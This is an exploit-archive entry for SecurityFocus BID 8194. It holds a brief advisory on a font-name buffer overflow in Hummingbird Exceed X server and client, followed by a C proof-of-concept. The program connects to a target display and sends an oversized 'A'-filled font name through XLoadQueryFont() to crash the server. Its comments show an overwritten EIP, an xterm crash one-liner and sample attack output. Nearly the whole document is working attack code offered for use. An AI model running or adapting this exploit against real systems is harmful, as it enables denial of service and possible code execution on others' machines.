source: http://www.securityfocus.com/bid/8194/info

The Exceed server and client have been reported prone to a remotely triggered buffer overflow vulnerability. An attacker may trigger this vulnerability by sending excessive data as a font name to the server via a malicios XLoadQueryFont() request, or by passing a malicious font name from the server to the client in a manner sufficient to trigger the overflow. When the vulnerable software handles this request it will crash. 

/*
 * Crushing birds for fun and knowledge
 * ------------------------------------
 * 
 * HQOTD: "How secure do you want it"
 * http://mimage.hummingbird.com/alt_content/binary/pdf/collateral/ds/exceed_ds_en.pdf
 * 
 * I'll tell you: Much more please sirs.
 *
 * **************************************
 *
 * Exceed has some bugs caused by the way it handles fonts, in a local and remote
 * context.
 * 
 * Debug output created by master techniques:
 * EAX = C0000000                                               
 * EBX = 00000000                                               
 * ECX = 40000000                                               
 * EDX = 00000501                                               
 * ESI = 41414141   <-------- // Here
 * EDI = 0012E138
 * EIP = 41414141   <-------- // Here
 * ESP = 0012E0C8
 * EBP = 0012E0F0
 * 
 * A way to check that a server is not trying to exploit your PC could be:
 *  $ xlsfonts -display exceed_server:0.0
 *  ...
 *  --------0------
 *  --arial-bold-r---0-0-120-120-p-0-iso8859-1
 *  --arial-medium-r---0-0-120-120-p-0-iso8859-1
 *  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.... <-- Here
 *  ...
 *
 * A way to hide evil font would be through the use of font aliasing.
 * 			-the first ever font spoofing technique, lol.
 *
 * [-] We can crash a local Exceed server * 2
 * [-] We can crash a remote Exceed server * many lol
 * [-] We can crash Exceed client that uses evil X Font Server * 1
 * [-] We can write over EIP address * many lol
 *
 * Hummingbird informed 3 weeks ago, still no reply.
 *
 * **************************************
 * rwxr-xr-x xterm exploit! 
 *
 * $ export DISPLAY=192.168.1.31:0.0    //Valid host
 * $ xterm -font `perl -e 'print "69r"x10101'`
 * Segmentation fault (core dumped)     //lol
 * $ md5sum `which xterm`
 * 09ebe34028b779eb73d4a31e987ee9ed  /usr/X11R6/bin/xterm
 *
 * Root user can now have super 0day xterm sploit that s/he can use to own local user
 * accounts!
 *
 * ** This would give root the ability to become any user on the system **
 * 
 * More serious than su, it does not leave a log entry behind, real anon hacker style.
 *
 * **************************************
 * 
 * This is just a little hobby that saves me going to clubs at the weekend, drinking
 * beer and mumbling to some strange lethargic woman with alchohol driven motives.
 * 
 * Computer security is #1 contraceptive, coming soon to an NHS near you.
 *
 * **************************************
 * 
 * DNSCon is coming up - www.dnscon.org
 *
 * **************************************
 * 
 * [c0ntex@darkside exceed]$ gcc -o exceed exceed.c -lX11 -L /usr/X11R6/lib
 * [c0ntex@darkside exceed]$ ./exceed exploited:0.0
 *
 * [-] Exceed [ALL] EIP Attack - c0ntex@hushmail.com
 * [-] We are using DISPLAY variable: exploited:0.0
 * [-] Hang on to your feathers, sending some buffer
 * 
 * ..
 * XIO:  fatal IO error 104 (Connection reset by peer) on X server "exploited:0.0"
 *       after 11 requests (9 known processed) with 0 events remaining.
 * 
 * **************************************
 *
 * Rants:
 * Knowledge is freely given and should be freely shared, however making money from
 * other peoples research in any way is simply unethical. =|
 *
 * SF: Clever move making your vulnerability archive public `again`, this will draw
 * back many versed in dot slash t3qN33kZ to infect themselves with trojan opcodes.
 *   *LOL*
 *
 * Regards to all, keep it real.
 * 
 * **************************************
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <X11/Xlib.h>

#define BIGBIRD		6001
#define DIRTY_VAL	69
#define MAX_BORDER_LEN  3
#define WIN_TIMER       5
#define WIN_TITLE	"simple PoC window - lets shoot birds"

typedef char Birds;

int main(int argc, char *argv[])
{
        Birds nests[BIGBIRD];
        Birds egg[2] = { 'A', '\0' };
	Birds *feathersN;
	Birds *HABITAT = "DISPLAY";

        unsigned short eggs, chicks;
        unsigned short winW, winH, feathersW, feathersH;
        unsigned long locX, locY;
        unsigned long winBDR;

	
	Display* feathers;
        Window wingspan;
	XFontStruct* birdcull;

        fprintf(stderr, "\n\n[-] Exceed [ALL] EIP Attack - c0ntex@hushmail.com\n");
	
        if(argc < 2) {
                fprintf(stderr, "[-] Please set IP/Hostname for DISPLAY pointer!\n");
                fprintf(stderr, "[-] Usage: %s <hostname/IP:feathers>\n\n", argv[0]);
                return EXIT_FAILURE;
        }

        if(setenv(HABITAT, argv[1], 1) <0) {
		perror("setenv"); return EXIT_FAILURE;
	}

        fprintf(stderr, "[-] Ok, using DISPLAY variable: %s\n", argv[1]);

        for(eggs = 0; eggs < BIGBIRD -1; eggs++)
                 if(strncat(nests, egg, sizeof(BIGBIRD)-1) == NULL) {
                        perror("strncat"); return EXIT_FAILURE;
                 }
	
        if((feathers = XOpenDisplay(feathersN)) == NULL) {
		perror("XOpenDisplay"); return EXIT_FAILURE;
	}
	
	chicks = DefaultScreen(feathers);

        winW = ((feathersW = DisplayWidth(feathers, chicks)) /3);
        winH = ((feathersH = DisplayHeight(feathers, chicks)) /3);
	locX = DIRTY_VAL; locY = DIRTY_VAL; winBDR = MAX_BORDER_LEN;
	
	wingspan = XCreateSimpleWindow(feathers, RootWindow(feathers, chicks),
                        locX, locY, winW, winH, winBDR,
                        BlackPixel(feathers, chicks),
                        WhitePixel(feathers, chicks));
	if(XCreateSimpleWindow == NULL) {
		perror("XCreateSimpleWindow"); return EXIT_FAILURE;
	}

        XStoreName(feathers, wingspan, WIN_TITLE);
	if(XStoreName == NULL) {
		perror("XOpenDisplay"); return EXIT_FAILURE;
	}

        XMapWindow(feathers, wingspan);
	if(XMapWindow == NULL) {
                perror("XOpenDisplay"); return EXIT_FAILURE;
        }

	fprintf(stderr, "[-] Hang on to your feathers, sending some buffer \n\n");

	if((birdcull = XLoadQueryFont(feathers, nests)) == NULL) {
		perror("XLoadQueryFont"); return EXIT_FAILURE;
	}

        XCloseDisplay(feathers);

        return EXIT_SUCCESS;
}



